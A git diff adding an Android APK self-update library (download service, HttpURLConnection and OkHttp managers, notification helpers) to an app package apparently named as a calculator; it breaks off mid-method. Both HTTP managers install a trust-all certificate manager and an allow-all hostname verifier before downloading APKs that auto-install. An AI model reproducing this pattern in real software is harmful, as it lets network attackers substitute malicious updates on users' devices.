cancelDownload + * @return + */ + public Builder setCancelDownload(boolean cancelDownload){ + mConfig.setCancelDownload(cancelDownload); + return this; + } + + + public AppUpdater build(@NonNull Context context){ + return new AppUpdater(context,mConfig); + } + + } + + +} \ No newline at end of file diff --git a/winway/src/main/java/winway/calculcator/appdown/UpdateConfig.java b/winway/src/main/java/winway/calculcator/appdown/UpdateConfig.java new file mode 100644 index 0000000..cf8caa0 --- /dev/null +++ b/winway/src/main/java/winway/calculcator/appdown/UpdateConfig.java @@ -0,0 +1,460 @@ +package winway.calculcator.appdown; + + +import android.content.Context; +import android.os.Parcel; +import android.os.Parcelable; + +import winway.calculcator.appdown.constant.Constants; + +import java.util.HashMap; +import java.util.Map; + +import androidx.annotation.DrawableRes; + + +/** + * @author Jenly Jenly + */ +public class UpdateConfig implements Parcelable { + + /** + * APK下载的Url + */ + private String mUrl; + /** + * 保存路径 + */ + private String mPath; + /** + * 保存文件名 + */ + private String mFilename; + + /** + * 是否显示通知栏 + */ + private boolean isShowNotification = true; + /** + * 下载完成后是否自动弹出安装 + */ + private boolean isInstallApk = true; + /** + * 通知栏图标:默认取app图标 + */ + private int mNotificationIcon; + + /** + * 通知栏ID + */ + private int mNotificationId = Constants.DEFAULT_NOTIFICATION_ID; + + /** + * 通知栏渠道ID + */ + private String mChannelId; + /** + * 通知栏渠道名称 + */ + private String mChannelName; + /** + * 默认{@link Context#getPackageName() + ".AppUpdaterFileProvider"} + */ + private String mAuthority; + /** + * 下载失败是否支持点击通知栏重新下载 + */ + private boolean isReDownload = true; + /** + * 下载失败后,最大重新下载次数 + */ + private int reDownloads = 3; + /** + * 是否显示百分比 + */ + private boolean isShowPercentage = true; + + /** + * 是否震动提示,为true时使用通知默认震动 + */ + private boolean isVibrate; + + /** + * 是否铃声提示,为true时使用通知默认铃声 + */ + private boolean isSound; + + /** + * 要下载的APK的versionCode + */ + private Integer versionCode; + + /** + * 请求头参数 + */ + private Map mRequestProperty; + + /** + * 是否删除取消下载的文件 + */ + private boolean isDeleteCancelFile = true; + + /** + * 是否支持通过删除通知栏来取消下载 + */ + private boolean isCancelDownload = false; + + /** + * APK文件的MD5 + */ + private String apkMD5; + + + public UpdateConfig() { + + } + + public String getUrl() { + return mUrl; + } + + /** + * 设置APK下载地址 + * @param url 下载地址 + */ + public void setUrl(String url) { + this.mUrl = url; + } + + public String getPath() { + return mPath; + } + + /** + * 设置保存的路径,(建议使用默认,不做设置) + * @param path 下载保存的文件路径 + * @return + * @deprecated 因为适配Android Q的分区存储,所以此方法已弃用,不建议再使用 + */ + @Deprecated + public void setPath(String path) { + this.mPath = path; + } + + public String getFilename() { + return mFilename; + } + + /** + * 设置保存的文件名 + * @param filename 下载的保存的apk文件名 (默认优先取url文件名) + */ + public void setFilename(String filename) { + this.mFilename = filename; + } + + public boolean isShowNotification() { + return isShowNotification; + } + + /** + * 设置是否显示通知栏 + * @param isShowNotification 是否显示通知栏 (默认true) + */ + public void setShowNotification(boolean isShowNotification) { + this.isShowNotification = isShowNotification; + } + + public String getChannelId() { + return mChannelId; + } + + /** + * 设置通知渠道ID + * @param channelId 通知渠道ID (默认兼容O) + */ + public void setChannelId(String channelId) { + this.mChannelId = channelId; + } + + public String getChannelName() { + return mChannelName; + } + + /** + * 设置通知渠道名称 + * @param channelName 通知渠道名称 (默认兼容O) + */ + public void setChannelName(String channelName) { + this.mChannelName = channelName; + } + /** + * 设置通知ID + * @param notificationId 通知ID + */ + public void setNotificationId(int notificationId){ + this.mNotificationId = notificationId; + } + + public int getNotificationId(){ + return this.mNotificationId; + } + + + /** + * 设置通知图标 + * @param icon 通知栏图标 (默认取App的icon) + */ + public void setNotificationIcon(@DrawableRes int icon){ + this.mNotificationIcon = icon; + } + + public int getNotificationIcon(){ + return this.mNotificationIcon; + } + + public boolean isInstallApk() { + return isInstallApk; + } + + /** + * 设置下载完成后知否自动触发安装APK + * @param isInstallApk 下载完成后是否自动调用安装APK(默认true) + */ + public void setInstallApk(boolean isInstallApk) { + this.isInstallApk = isInstallApk; + } + + public String getAuthority() { + return mAuthority; + } + + /** + * 设置FileProvider的authority + * @param authority FileProvider的authority(默认兼容N,默认值{@link Context#getPackageName() + ".AppUpdaterFileProvider"}) + */ + public void setAuthority(String authority) { + this.mAuthority = authority; + } + + public boolean isShowPercentage() { + return isShowPercentage; + } + + /** + * 设置下载时,通知栏是否显示下载百分比 + * @param showPercentage 下载时通知栏是否显示百分比 + */ + public void setShowPercentage(boolean showPercentage) { + isShowPercentage = showPercentage; + } + + public boolean isReDownload() { + return isReDownload; + } + + /** + * 设置下载失败时,是否支持点击通知栏重新下载。与之相关联的方法{@link #setReDownloads(int)} + * @param reDownload 下载失败时是否支持点击通知栏重新下载,默认true + */ + public void setReDownload(boolean reDownload) { + isReDownload = reDownload; + } + + public int getReDownloads() { + return reDownloads; + } + + /** + * 设置下载失败时,最多重新下载次数。与之相关联的方法{@link #setReDownload(boolean)} + * @param reDownloads 下载失败时是否支持点击通知栏重新下载,默认最多重新下载3次 + */ + public void setReDownloads(int reDownloads) { + this.reDownloads = reDownloads; + } + + public boolean isVibrate() { + return isVibrate; + } + + /** + * 设置通知是否震动提示 + * @param vibrate 是否震动提示,为true时使用通知默认震动,Android O(8.0)以上设置,只有初次创建channel时有效,后续修改属性无效,想要重新有效需修改channelId或卸载App重装。 + */ + public void setVibrate(boolean vibrate) { + isVibrate = vibrate; + } + + public boolean isSound() { + return isSound; + } + + /** + * 设置通知是否铃声提示 + * @param sound 是否铃声提示,为true时使用通知默认铃声,Android O(8.0)以上设置,只有初次创建channel时有效,后续修改属性无效,想要重新有效需修改channelId或卸载App重装。 + */ + public void setSound(boolean sound) { + isSound = sound; + } + + public Integer getVersionCode(){ + return versionCode; + } + + /** + * 设置要下载APK的versionCode,用于优先取缓存时通过versionCode校验APK文件是否一致。 + * 缓存校验目前支持两种方式,一种是通过versionCode校验,即{@link #setVersionCode(Integer)};一种是文件MD5校验,即{@link #setApkMD5(String)}。推荐使用MD5校验方式 + * 如果两种方式都设置了,则只校验MD5 + * @param versionCode 为null表示不处理,默认不存在则下载,存在则重新下载。不为null时,表示会优先校验本地是否存在已下载版本号为versionCode的APK。 + * 如果存在则不会重新下载(AppUpdater会自动校验packageName一致性),直接取本地APK,反之重新下载。 + */ + public void setVersionCode(Integer versionCode){ + this.versionCode = versionCode; + } + + public Map getRequestProperty() { + return mRequestProperty; + } + + /** + * 设置APK文件的MD5,用于优先取缓存时通过MD5校验文件APK是否一致。 + * 缓存校验目前支持两种方式,一种是通过versionCode校验,即{@link #setVersionCode(Integer)};一种是文件MD5校验,即{@link #setApkMD5(String)}。推荐使用MD5校验方式 + * 如果两种方式都设置了,则只校验MD5 + * @param md5 为null表示不处理,如果设置了MD5,则缓存APK的MD5相同时,只下载一次,优先取本地缓存 + */ + public void setApkMD5(String md5){ + this.apkMD5 = md5; + } + + public String getApkMD5(){ + return apkMD5; + } + + /** + * 请求头添加参数 + * @param key + * @param value + */ + public void addHeader(String key, String value){ + initRequestProperty(); + mRequestProperty.put(key,value); + } + + /** + * 请求头添加参数 + * @param headers + */ + public void addHeader(Map headers){ + initRequestProperty(); + mRequestProperty.putAll(headers); + } + + private void initRequestProperty(){ + if(mRequestProperty == null){ + mRequestProperty = new HashMap<>(); + } + } + + public boolean isDeleteCancelFile() { + return isDeleteCancelFile; + } + + /** + * 设置是否自动删除取消下载的文件 + * @param deleteCancelFile 是否删除取消下载的文件(默认为:true) + */ + public void setDeleteCancelFile(boolean deleteCancelFile) { + isDeleteCancelFile = deleteCancelFile; + } + + public boolean isCancelDownload(){ + return isCancelDownload; + } + + /** + * 是否支持通过删除通知栏来取消下载(默认为:false) + * @param cancelDownload + */ + public void setCancelDownload(boolean cancelDownload) { + isCancelDownload = cancelDownload; + } + + @Override + public int describeContents() { + return 0; + } + + @Override + public void writeToParcel(Parcel dest, int flags) { + dest.writeString(this.mUrl); + dest.writeString(this.mPath); + dest.writeString(this.mFilename); + dest.writeByte(this.isShowNotification ? (byte) 1 : (byte) 0); + dest.writeByte(this.isInstallApk ? (byte) 1 : (byte) 0); + dest.writeInt(this.mNotificationIcon); + dest.writeInt(this.mNotificationId); + dest.writeString(this.mChannelId); + dest.writeString(this.mChannelName); + dest.writeString(this.mAuthority); + dest.writeByte(this.isReDownload ? (byte) 1 : (byte) 0); + dest.writeInt(this.reDownloads); + dest.writeByte(this.isShowPercentage ? (byte) 1 : (byte) 0); + dest.writeByte(this.isVibrate ? (byte) 1 : (byte) 0); + dest.writeByte(this.isSound ? (byte) 1 : (byte) 0); + dest.writeValue(this.versionCode); + if(mRequestProperty!=null){ + dest.writeInt(this.mRequestProperty.size()); + for (Map.Entry entry : this.mRequestProperty.entrySet()) { + dest.writeString(entry.getKey()); + dest.writeString(entry.getValue()); + } + }else{ + dest.writeInt(0); + } + + dest.writeByte(this.isDeleteCancelFile ? (byte) 1 : (byte) 0); + dest.writeByte(this.isCancelDownload ? (byte) 1 : (byte) 0); + dest.writeString(this.apkMD5); + } + + protected UpdateConfig(Parcel in) { + this.mUrl = in.readString(); + this.mPath = in.readString(); + this.mFilename = in.readString(); + this.isShowNotification = in.readByte() != 0; + this.isInstallApk = in.readByte() != 0; + this.mNotificationIcon = in.readInt(); + this.mNotificationId = in.readInt(); + this.mChannelId = in.readString(); + this.mChannelName = in.readString(); + this.mAuthority = in.readString(); + this.isReDownload = in.readByte() != 0; + this.reDownloads = in.readInt(); + this.isShowPercentage = in.readByte() != 0; + this.isVibrate = in.readByte() != 0; + this.isSound = in.readByte() != 0; + this.versionCode = (Integer) in.readValue(Integer.class.getClassLoader()); + int mRequestPropertySize = in.readInt(); + this.mRequestProperty = new HashMap<>(mRequestPropertySize); + for (int i = 0; i < mRequestPropertySize; i++) { + String key = in.readString(); + String value = in.readString(); + this.mRequestProperty.put(key, value); + } + this.isDeleteCancelFile = in.readByte() != 0; + this.isCancelDownload = in.readByte() != 0; + this.apkMD5 = in.readString(); + } + + public static final Creator CREATOR = new Creator() { + @Override + public UpdateConfig createFromParcel(Parcel source) { + return new UpdateConfig(source); + } + + @Override + public UpdateConfig[] newArray(int size) { + return new UpdateConfig[size]; + } + }; +} \ No newline at end of file diff --git a/winway/src/main/java/winway/calculcator/appdown/callback/AppUpdateCallback.java b/winway/src/main/java/winway/calculcator/appdown/callback/AppUpdateCallback.java new file mode 100644 index 0000000..defd01f --- /dev/null +++ b/winway/src/main/java/winway/calculcator/appdown/callback/AppUpdateCallback.java @@ -0,0 +1,26 @@ +package winway.calculcator.appdown.callback; + +/** + * @author Jenly Jenly + */ +public abstract class AppUpdateCallback implements UpdateCallback { + @Override + public void onDownloading(boolean isDownloading) { + + } + + @Override + public void onStart(String url) { + + } + + @Override + public void onError(Exception e) { + + } + + @Override + public void onCancel() { + + } +} diff --git a/winway/src/main/java/winway/calculcator/appdown/callback/UpdateCallback.java b/winway/src/main/java/winway/calculcator/appdown/callback/UpdateCallback.java new file mode 100644 index 0000000..9cf7937 --- /dev/null +++ b/winway/src/main/java/winway/calculcator/appdown/callback/UpdateCallback.java @@ -0,0 +1,46 @@ +package winway.calculcator.appdown.callback; + +import java.io.File; + +/** + * @author Jenly Jenly + */ +public interface UpdateCallback { + + /** + * 最开始调用(在onStart之前调用) + * @param isDownloading true 表示已经在下载,false表示当前未开始下载,即将开始下载 + */ + void onDownloading(boolean isDownloading); + + /** + * 开始 + */ + void onStart(String url); + + /** + * 加载进度… + * @param progress + * @param total + * @param isChange 进度百分比是否有改变,(主要可以用来过滤无用的刷新,从而降低刷新频率) + */ + void onProgress(long progress,long total,boolean isChange); + + /** + * 完成 + * @param file + */ + void onFinish(File file); + + /** + * 错误 + * @param e + */ + void onError(Exception e); + + + /** + * 取消 + */ + void onCancel(); +} diff --git a/winway/src/main/java/winway/calculcator/appdown/constant/Constants.java b/winway/src/main/java/winway/calculcator/appdown/constant/Constants.java new file mode 100644 index 0000000..3913d40 --- /dev/null +++ b/winway/src/main/java/winway/calculcator/appdown/constant/Constants.java @@ -0,0 +1,32 @@ +package winway.calculcator.appdown.constant; + +/** + * @author Jenly Jenly + */ +public final class Constants { + + public static final String TAG = "AppUpdater"; + + public static final String KEY_UPDATE_CONFIG = "app_update_config"; + + public static final int DEFAULT_NOTIFICATION_ID = 0x66; + + public static final String DEFAULT_NOTIFICATION_CHANNEL_ID = "0x66"; + + public static final String DEFAULT_NOTIFICATION_CHANNEL_NAME = "AppUpdater"; + + public static final String KEY_STOP_DOWNLOAD_SERVICE = "stop_download_service"; + + public static final String KEY_RE_DOWNLOAD = "app_update_re_download"; + + public static final int RE_CODE_STORAGE_PERMISSION = 0x66; + + public static final int NONE = -1; + + public static final String DEFAULT_FILE_PROVIDER = ".appdown.provider.AppUpdaterFileProvider"; + + public static final String DEFAULT_DIR = "apk"; + + public static boolean isUpdate = true; + +} \ No newline at end of file diff --git a/winway/src/main/java/winway/calculcator/appdown/http/HttpManager.java b/winway/src/main/java/winway/calculcator/appdown/http/HttpManager.java new file mode 100644 index 0000000..d9ffaa8 --- /dev/null +++ b/winway/src/main/java/winway/calculcator/appdown/http/HttpManager.java @@ -0,0 +1,240 @@ +package winway.calculcator.appdown.http; + +import android.os.AsyncTask; +import android.os.Build; + +import winway.calculcator.appdown.util.LogUtils; +import winway.calculcator.appdown.util.SSLSocketFactoryUtils; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.InputStream; +import java.net.ConnectException; +import java.net.HttpURLConnection; +import java.net.URL; +import java.util.Map; + +import javax.net.ssl.HttpsURLConnection; + +import androidx.annotation.Nullable; + +/** + * HttpManager使用 {@link HttpURLConnection} 实现的 {@link IHttpManager} + * @author Jenly Jenly + */ +public class HttpManager implements IHttpManager { + + private static final int HTTP_TEMP_REDIRECT = 307; + private static final int HTTP_PERM_REDIRECT = 308; + + private static final int DEFAULT_TIME_OUT = 20000; + + private int mTimeout; + + private DownloadTask mDownloadTask; + + private static volatile HttpManager INSTANCE; + + public static HttpManager getInstance(){ + if(INSTANCE == null){ + synchronized (HttpManager.class){ + if(INSTANCE == null){ + INSTANCE = new HttpManager(); + } + } + } + + return INSTANCE; + } + + private HttpManager(){ + this(DEFAULT_TIME_OUT); + } + + /** + * HttpManager对外暴露。如果没有特殊需求,推荐使用{@link HttpManager#getInstance()} + */ + public HttpManager(int timeout){ + this.mTimeout = timeout; + } + + @Override + public void download(String url, String path, String filename, @Nullable Map requestProperty, DownloadCallback callback) { + mDownloadTask = new DownloadTask(url, path, filename, mTimeout, requestProperty, callback); + mDownloadTask.execute(); + } + + @Override + public void cancel() { + if(mDownloadTask != null){ + mDownloadTask.isCancel = true; + } + } + + /** + * 异步下载任务 + */ + private static class DownloadTask extends AsyncTask { + + private String url; + + private String path; + + private String filename; + + private Map requestProperty; + + private DownloadCallback callback; + + private Exception exception; + + private int timeout; + + private volatile boolean isCancel; + + public DownloadTask(String url, String path, String filename, int timeout, @Nullable Map requestProperty, DownloadCallback callback){ + this.url = url; + this.path = path; + this.filename = filename; + this.timeout = timeout; + this.callback = callback; + this.requestProperty = requestProperty; + } + + private File download(String url) throws Exception{ + HttpURLConnection connect = (HttpURLConnection)new URL(url).openConnection(); + connect.setRequestMethod("GET"); + connect.setRequestProperty("Accept-Encoding", "identity"); + + connect.setReadTimeout(timeout); + connect.setConnectTimeout(timeout); + + if(requestProperty != null){ + for(Map.Entry entry : requestProperty.entrySet()){ + connect.setRequestProperty(entry.getKey(),entry.getValue()); + } + } + + connect.connect(); + + LogUtils.d("Content-Type:" + connect.getContentType()); + int responseCode = connect.getResponseCode(); + switch (responseCode){ + case HttpURLConnection.HTTP_OK: { + InputStream is = connect.getInputStream(); + + long length = connect.getContentLength(); + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + length = connect.getContentLengthLong(); + } + + LogUtils.d( "contentLength:" + length); + + long progress = 0; + + byte[] buffer = new byte[8192]; + + int len; + File file = new File(path, filename); + FileOutputStream fos = new FileOutputStream(file); + while ((len = is.read(buffer)) != -1) { + if (isCancel) { + cancel(true); + break; + } + fos.write(buffer, 0, len); + progress += len; + // 更新进度 + if (length > 0) { + publishProgress(progress, length); + } + } + + fos.flush(); + fos.close(); + is.close(); + + connect.disconnect(); + + if(progress <= 0 && length <= 0){ + throw new IllegalStateException(String.format("contentLength = %d",length)); + } + + return file; + } + case HttpURLConnection.HTTP_MULT_CHOICE: + case HttpURLConnection.HTTP_MOVED_PERM: + case HttpURLConnection.HTTP_MOVED_TEMP: + case HttpURLConnection.HTTP_SEE_OTHER: + case HTTP_TEMP_REDIRECT: + case HTTP_PERM_REDIRECT: {// 重定向 + String redirectUrl = connect.getHeaderField("Location"); + LogUtils.d("redirectUrl = " + redirectUrl); + connect.disconnect(); + return download(redirectUrl); + } + default://连接失败 + throw new ConnectException(String.format("responseCode = %d",responseCode)); + + } + } + + @Override + protected File doInBackground(Void... voids) { + + try{ + HttpsURLConnection.setDefaultSSLSocketFactory(SSLSocketFactoryUtils.createSSLSocketFactory()); + HttpsURLConnection.setDefaultHostnameVerifier(SSLSocketFactoryUtils.createTrustAllHostnameVerifier()); + return download(url); + } catch (Exception e) { + this.exception = e; + e.printStackTrace(); + } + + return null; + } + + @Override + protected void onPreExecute() { + super.onPreExecute(); + if(callback != null){ + callback.onStart(url); + } + } + + @Override + protected void onPostExecute(File file) { + super.onPostExecute(file); + if(callback != null){ + if(file != null){ + callback.onFinish(file); + }else{ + callback.onError(exception); + } + + } + } + + @Override + protected void onProgressUpdate(Long... values) { + super.onProgressUpdate(values); + if(callback != null){ + if(!isCancelled()){ + callback.onProgress(values[0],values[1]); + } + + } + } + + @Override + protected void onCancelled() { + super.onCancelled(); + if(callback != null){ + callback.onCancel(); + } + } + + } + +} \ No newline at end of file diff --git a/winway/src/main/java/winway/calculcator/appdown/http/IHttpManager.java b/winway/src/main/java/winway/calculcator/appdown/http/IHttpManager.java new file mode 100644 index 0000000..fbb1611 --- /dev/null +++ b/winway/src/main/java/winway/calculcator/appdown/http/IHttpManager.java @@ -0,0 +1,64 @@ +package winway.calculcator.appdown.http; + + +import java.io.File; +import java.io.Serializable; +import java.util.Map; + +import androidx.annotation.Nullable; + +/** + * IHttpManager 默认提供 {@link HttpManager} 和 {@link OkHttpManager} 两种实现。 + * @author Jenly Jenly + */ +public interface IHttpManager { + + + /** + * 下载 + * @param url + * @param path + * @param filename + * @param requestProperty + * @param callback + */ + void download(String url, String path, String filename, @Nullable Map requestProperty, DownloadCallback callback); + + /** + * 取消下载 + */ + void cancel(); + + interface DownloadCallback extends Serializable{ + /** + * 开始 + * @param url + */ + void onStart(String url); + + /** + * 加载进度… + * @param progress + * @param total + */ + void onProgress(long progress,long total); + + /** + * 完成 + * @param file + */ + void onFinish(File file); + + /** + * 错误 + * @param e + */ + void onError(Exception e); + + + /** + * 取消 + */ + void onCancel(); + } +} \ No newline at end of file diff --git a/winway/src/main/java/winway/calculcator/appdown/http/OkHttpManager.java b/winway/src/main/java/winway/calculcator/appdown/http/OkHttpManager.java new file mode 100644 index 0000000..a533094 --- /dev/null +++ b/winway/src/main/java/winway/calculcator/appdown/http/OkHttpManager.java @@ -0,0 +1,235 @@ +package winway.calculcator.appdown.http; + +import android.os.AsyncTask; + +import winway.calculcator.appdown.util.LogUtils; +import winway.calculcator.appdown.util.SSLSocketFactoryUtils; + +import org.apache.http.conn.ssl.SSLSocketFactory; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.InputStream; +import java.net.ConnectException; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import androidx.annotation.NonNull; +import androidx.annotation.Nullable; +import okhttp3.Call; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.Response; + +/** + * OkHttpManager使用 {@link OkHttpClient} 实现的 {@link IHttpManager} + *

使用 OkHttpManager 时必须依赖 OkHttp 库 + * @author Jenly + */ +public class OkHttpManager implements IHttpManager { + + private static final int DEFAULT_TIME_OUT = 20000; + + private OkHttpClient okHttpClient; + + private DownloadTask mDownloadTask; + + private static volatile OkHttpManager INSTANCE; + + public static OkHttpManager getInstance(){ + if(INSTANCE == null){ + synchronized (HttpManager.class){ + if(INSTANCE == null){ + INSTANCE = new OkHttpManager(); + } + } + } + + return INSTANCE; + } + + private OkHttpManager(){ + this(DEFAULT_TIME_OUT); + } + + /** + * HttpManager对外暴露。如果没有特殊需求,推荐使用{@link HttpManager#getInstance()} + * @param timeout 超时时间,单位:毫秒 + */ + public OkHttpManager(int timeout){ + this(new OkHttpClient.Builder() + .readTimeout(timeout, TimeUnit.MILLISECONDS) + .connectTimeout(timeout, TimeUnit.MILLISECONDS) + .sslSocketFactory(SSLSocketFactoryUtils.createSSLSocketFactory(),SSLSocketFactoryUtils.createTrustAllManager()) + .hostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER) + .build()); + } + + /** + * HttpManager对外暴露,推荐使用{@link HttpManager#getInstance()} + * @param okHttpClient {@link OkHttpClient} + */ + public OkHttpManager(@NonNull OkHttpClient okHttpClient){ + this.okHttpClient = okHttpClient; + } + + + @Override + public void download(String url,final String path,final String filename, @Nullable Map requestProperty,final DownloadCallback callback) { + mDownloadTask = new DownloadTask(okHttpClient, url, path, filename, requestProperty, callback); + mDownloadTask.execute(); + } + + @Override + public void cancel() { + if(mDownloadTask != null){ + mDownloadTask.isCancel = true; + } + } + + + /** + * 异步下载任务 + */ + private static class DownloadTask extends AsyncTask { + + private String url; + + private String path; + + private String filename; + + private Map requestProperty; + + private DownloadCallback callback; + + private Exception exception; + + private OkHttpClient okHttpClient; + + private volatile boolean isCancel; + + public DownloadTask(OkHttpClient okHttpClient,String url, String path, String filename ,@Nullable Map requestProperty, DownloadCallback callback){ + this.okHttpClient = okHttpClient; + this.url = url; + this.path = path; + this.filename = filename; + this.callback = callback; + this.requestProperty = requestProperty; + + } + + @Override + protected File doInBackground(Void... voids) { + + try{ + Request.Builder builder = new Request.Builder() + .url(url) + .addHeader("Accept-Encoding", "identity") + .get(); + + if(requestProperty!=null){ + for(Map.Entry entry : requestProperty.entrySet()){ + builder.addHeader(entry.getKey(),entry.getValue()); + } + } + + Call call = okHttpClient.newCall(builder.build()); + Response response = call.execute(); + + if(response.isSuccessful()){ + InputStream is = response.body().byteStream(); + + long length = response.body().contentLength(); + + LogUtils.d("contentLength:" + length); + + long progress = 0; + + byte[] buffer = new byte[8192]; + + int len; + File file = new File(path,filename); + FileOutputStream fos = new FileOutputStream(file); + while ((len = is.read(buffer)) != -1){ + if(isCancel){ + if(call != null){ + call.cancel(); + } + cancel(true); + break; + } + fos.write(buffer,0,len); + progress += len; + // 更新进度 + if(length > 0){ + publishProgress(progress,length); + } + } + + fos.flush(); + fos.close(); + is.close(); + + response.close(); + + if(progress <= 0 && length <= 0){ + throw new IllegalStateException(String.format("contentLength = %d",length)); + } + + return file; + + }else {// 连接失败 + throw new ConnectException(String.format("responseCode = %d",response.code())); + } + + }catch (Exception e){ + this.exception = e; + e.printStackTrace(); + } + + return null; + } + + @Override + protected void onPreExecute() { + super.onPreExecute(); + if(callback != null){ + callback.onStart(url); + } + } + + @Override + protected void onPostExecute(File file) { + super.onPostExecute(file); + if(callback != null){ + if(file != null){ + callback.onFinish(file); + }else{ + callback.onError(exception); + } + + } + } + + @Override + protected void onProgressUpdate(Long... values) { + super.onProgressUpdate(values); + if(callback != null){ + if(!isCancelled()){ + callback.onProgress(values[0],values[1]); + } + + } + } + + @Override + protected void onCancelled() { + super.onCancelled(); + if(callback != null){ + callback.onCancel(); + } + } + + } +} \ No newline at end of file diff --git a/winway/src/main/java/winway/calculcator/appdown/notify/INotification.java b/winway/src/main/java/winway/calculcator/appdown/notify/INotification.java new file mode 100644 index 0000000..919fd69 --- /dev/null +++ b/winway/src/main/java/winway/calculcator/appdown/notify/INotification.java @@ -0,0 +1,25 @@ +package winway.calculcator.appdown.notify; + +import android.content.Context; + +import winway.calculcator.appdown.UpdateConfig; + +import java.io.File; + +import androidx.annotation.DrawableRes; + +/** + * @author Jenly + */ +public interface INotification { + + void onStart(Context context, int notifyId, String channelId, String channelName, @DrawableRes int icon, CharSequence title, CharSequence content, boolean isVibrate, boolean isSound, boolean isCancelDownload); + + void onProgress(Context context, int notifyId, String channelId, @DrawableRes int icon, CharSequence title, CharSequence content, int progress, int size, boolean isCancelDownload); + + void onFinish(Context context, int notifyId, String channelId, @DrawableRes int icon, CharSequence title, CharSequence content, File file, String authority); + + void onError(Context context, int notifyId, String channelId, @DrawableRes int icon, CharSequence title, CharSequence content, boolean isReDownload, UpdateConfig config); + + void onCancel(Context context, int notifyId); +} diff --git a/winway/src/main/java/winway/calculcator/appdown/notify/NotificationImpl.java b/winway/src/main/java/winway/calculcator/appdown/notify/NotificationImpl.java new file mode 100644 index 0000000..8ab215d --- /dev/null +++ b/winway/src/main/java/winway/calculcator/appdown/notify/NotificationImpl.java @@ -0,0 +1,38 @@ +package winway.calculcator.appdown.notify; + +import android.content.Context; + +import winway.calculcator.appdown.UpdateConfig; +import winway.calculcator.appdown.util.NotificationUtils; + +import java.io.File; + +/** + * @author Jenly + */ +public class NotificationImpl implements INotification { + @Override + public void onStart(Context context, int notifyId, String channelId, String channelName, int icon, CharSequence title, CharSequence content, boolean isVibrate, boolean isSound, boolean isCancelDownload) { + NotificationUtils.showStartNotification(context, notifyId, channelId, channelName, icon, title, content, isVibrate, isSound, isCancelDownload); + } + + @Override + public void onProgress(Context context, int notifyId, String channelId, int icon, CharSequence title, CharSequence content, int progress, int size, boolean isCancelDownload) { + NotificationUtils.showProgressNotification(context, notifyId, channelId, icon, title, content, progress, size, isCancelDownload); + } + + @Override + public void onFinish(Context context, int notifyId, String channelId, int icon, CharSequence title, CharSequence content, File file, String authority) { + NotificationUtils.showFinishNotification(context, notifyId, channelId, icon, title, content, file, authority); + } + + @Override + public void onError(Context context, int notifyId, String channelId, int icon, CharSequence title, CharSequence content, boolean isReDownload, UpdateConfig config) { + NotificationUtils.showErrorNotification(context, notifyId, channelId, icon, title, content, isReDownload, config); + } + + @Override + public void onCancel(Context context, int notifyId) { + NotificationUtils.cancelNotification(context, notifyId); + } +} diff --git a/winway/src/main/java/winway/calculcator/appdown/provider/AppUpdaterFileProvider.java b/winway/src/main/java/winway/calculcator/appdown/provider/AppUpdaterFileProvider.java new file mode 100644 index 0000000..f58c20d --- /dev/null +++ b/winway/src/main/java/winway/calculcator/appdown/provider/AppUpdaterFileProvider.java @@ -0,0 +1,11 @@ +package winway.calculcator.appdown.provider; + + +import androidx.core.content.FileProvider; + +/** + * @author Jenly Jenly + */ +public class AppUpdaterFileProvider extends FileProvider { + +} diff --git a/winway/src/main/java/winway/calculcator/appdown/service/DownloadService.java b/winway/src/main/java/winway/calculcator/appdown/service/DownloadService.java new file mode 100644 index 0000000..2067414 --- /dev/null +++ b/winway/src/main/java/winway/calculcator/appdown/service/DownloadService.java @@ -0,0 +1,456 @@ +package winway.calculcator.appdown.service; + +import android.app.Service; +import android.content.Context; +import android.content.Intent; +import android.os.Binder; +import android.os.Build; +import android.os.IBinder; +import android.text.TextUtils; + +import winway.calculcator.R; +import winway.calculcator.appdown.UpdateConfig; +import winway.calculcator.appdown.callback.UpdateCallback; +import winway.calculcator.appdown.constant.Constants; +import winway.calculcator.appdown.http.HttpManager; +import winway.calculcator.appdown.http.IHttpManager; +import winway.calculcator.appdown.notify.INotification; +import winway.calculcator.appdown.notify.NotificationImpl; +import winway.calculcator.appdown.util.AppUtils; +import winway.calculcator.appdown.util.LogUtils; + +import java.io.File; +import java.util.Locale; + +import androidx.annotation.NonNull; +import androidx.annotation.Nullable; +import androidx.annotation.StringRes; +import androidx.core.content.ContextCompat; + + +/** + * 下载服务 + * @author Jenly Jenly + */ +public class DownloadService extends Service { + + private DownloadBinder mDownloadBinder = new DownloadBinder(); + /** + * 是否在下载,防止重复下载。 + */ + private boolean isDownloading; + /** + * 失败后重新下载次数 + */ + private int mCount = 0; + /** + * Http管理器 + */ + private IHttpManager mHttpManager; + + private File mApkFile; + + private Context getContext(){ + return this; + } + + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + if(intent != null){ + boolean isStop = intent.getBooleanExtra(Constants.KEY_STOP_DOWNLOAD_SERVICE,false); + if(isStop){ + stopDownload(); + } else if(!isDownloading){ + //是否实通过通知栏触发重复下载 + boolean isReDownload = intent.getBooleanExtra(Constants.KEY_RE_DOWNLOAD,false); + if(isReDownload){ + mCount++; + } + //获取配置信息 + UpdateConfig config = intent.getParcelableExtra(Constants.KEY_UPDATE_CONFIG); + startDownload(config,null,null, new NotificationImpl()); + }else{ + LogUtils.w("Please do not duplicate downloads."); + } + } + + return super.onStartCommand(intent, flags, startId); + + } + + + //---------------------------------------- + + /** + * 开始下载 + * @param config + * @param httpManager + * @param callback + */ + public void startDownload(@NonNull UpdateConfig config,@Nullable IHttpManager httpManager,@Nullable UpdateCallback callback, @Nullable INotification notification){ + if(callback != null){ + callback.onDownloading(isDownloading); + } + + if(isDownloading){ + LogUtils.w("Please do not duplicate downloads."); + return; + } + + String url = config.getUrl(); + String path = config.getPath(); + String filename = config.getFilename(); + + //如果保存路径为空则使用缓存路径 + if(TextUtils.isEmpty(path)){ + path = getCacheFilesDir(getContext()); + } + File dirFile = new File(path); + if(!dirFile.exists()){ + dirFile.mkdirs(); + } + + //如果文件名为空则使用路径 + if(TextUtils.isEmpty(filename)){ + filename = AppUtils.getAppFullName(getContext(),url,getResources().getString(R.string.app_name)); + } + + mApkFile = new File(path, filename); + if(mApkFile.exists()){//文件是否存在 + Integer versionCode = config.getVersionCode(); + String apkMD5 = config.getApkMD5(); + //是否存在相同的apk + boolean isExistApk = false; + 